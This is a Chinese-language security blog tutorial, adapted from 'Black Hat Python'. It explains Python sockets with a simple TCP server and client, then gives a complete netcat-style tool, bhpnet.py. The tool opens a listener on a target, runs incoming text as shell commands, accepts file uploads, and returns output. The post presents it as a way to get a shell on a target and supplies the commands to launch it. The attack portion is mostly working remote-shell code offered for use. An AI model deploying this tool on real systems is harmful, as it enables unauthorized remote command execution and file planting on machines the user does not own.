没什么比python更时候来做hacking了,一个初学者看完本篇就能马上能够自己写一个netcat!!!嘻嘻。
(本文代码来自《black hat python》,目前没有中文版,看的人也不多,本人对代码稍加整理,改写和测试,再结合一些基础知识的补充,希望对大家有所帮助)
套接字格式:
socket(family,type[,protocal]) 使用给定的地址族、套接字类型、协议编号(默认为0)来创建套接字。
| socket类型 | 描述 |
| socket.AF_UNIX | 只能够用于单一的Unix系统进程间通信 |
| socket.AF_INET | 服务器之间网络通信 |
| socket.AF_INET6 | IPv6 |
| socket.SOCK_STREAM | 流式socket , for TCP |
| socket.SOCK_DGRAM | 数据报式socket , for UDP |
| socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。 |
| socket.SOCK_SEQPACKET | 可靠的连续数据包服务 |
| 创建TCP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
| 创建UDP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) |
注意点:
1)TCP发送数据时,已建立好TCP连接,所以不需要指定地址。UDP是面向无连接的,每次发送要指定是发给谁。
2)服务端与客户端不能直接发送列表,元组,字典。需要字符串化repr(data)。
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print("[*] Listening on %s:%d" % (bind_ip, bind_port))
def handle_client(client_socket):
request = client_socket.recv(1024)
print("[*] Received: %s" % request)
client_socket.send("ACK!")
client_socket.close()
while True:
client, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
client_handler = threading.Thread(target=handle_client, args=(client, ))
client_handler.start()
看不太懂的对照下上面表格,其实很简单,这边开启了个tcp服务器,只用3行有木有socket(新建),bind(绑定),listen(监听),够帅气吧,然后就是等待客户端的链接啦。
import socket
target_host = "127.0.0.1"
target_port = 9999
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send("Hello world!")
response = client.recv(4096)
print(response)
好的,这里就是客户端啦,给服务器发送个hello world打个招呼, 然后就能接受到服务端的返回了。
大家分别在本机执行下服务端和客户端的命令,就能看到他们的简单交互。
很简单对吧。然后接下来是我们的大菜!
#!/usr/bin/env python
# -*-coding = utf-8-*-
import sys
import socket
import threading
import subprocess
import argparse
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def main():
global listen
global port
global execute
global command
global upload_destination
global target
parser = argparse.ArgumentParser(description="BHP Net Tool")
parser.add_argument("-t", "--target", help="the ip or domain of target", default="0.0.0.0")
parser.add_argument("-p", "--port", help="the port of ftp", default=0)
parser.add_argument("-l", "--listen", action="store_true", help="listen on [host]:[port] for incoming connections")
parser.add_argument("-e", "--execute", help="execute the given file upon receiving a connection")
parser.add_argument("-c", "--command", action="store_true", help='initialize a command shell')
parser.add_argument("-u", "--upload", help="upon receiving connection upload a file and write to [destination]")
args = parser.parse_args()
listen = args.listen
command = args.command
target = args.target
port = int(args.port)
if args.upload:
upload_destination = args.upload
if args.execute:
execute = args.execute
if listen:
server_loop()
elif port > 0:
_buffer = sys.stdin.read()
client_sender(_buffer)
else:
print("[*]noting to do")
def client_sender(_buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(_buffer):
client.send(_buffer)
while True:
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
_buffer = raw_input("> ")
_buffer += "\n"
client.send(_buffer)
except Exception as e:
print(e)
print("[*] Exception! Exiting.")
client.close()
def server_loop():
global target
global port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
print("[*] start BHP server [{}:{}]!".format(target, port))
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(_command):
_command = _command.rstrip()
try:
output = subprocess.check_output(_command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
print('[-] get a connect!')
if len(upload_destination):
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send("<BHP:#> ")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
if __name__ == "__main__":
main()
好了,就这么多代码。比上面稍微复杂一点,这边用到了argparse模块,用来获取脚本数据,大家写脚本经常会用到的。这样我们就只要这一个脚本,就能在目标反弹一个shell到本机哦。
主要思路就是在目标建立一个tcp服务器,大家应该很熟练了,然后接受到我们tcp客户端发送的信息当作shell命令执行,然后把输出结果再返回给客户端。
大家可以把脚本保存成bhpnet.py,添加下运行权限,在本机运行测试。
bhpnet.py -t 0.0.0.0 -p 5555 -l -c (目标)
bhpnet.py -t 127.0.0.1 -p 5555 然后按ctrl+D就能进行shell的交互了。 是不是很神奇。大家快试试吧。
【本文由0x5010 投递安全脉搏 转载请注明来源安全脉搏】
本文作者:0x5010
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/40819.html
必填 您当前尚未登录。 登录? 注册
必填(保密)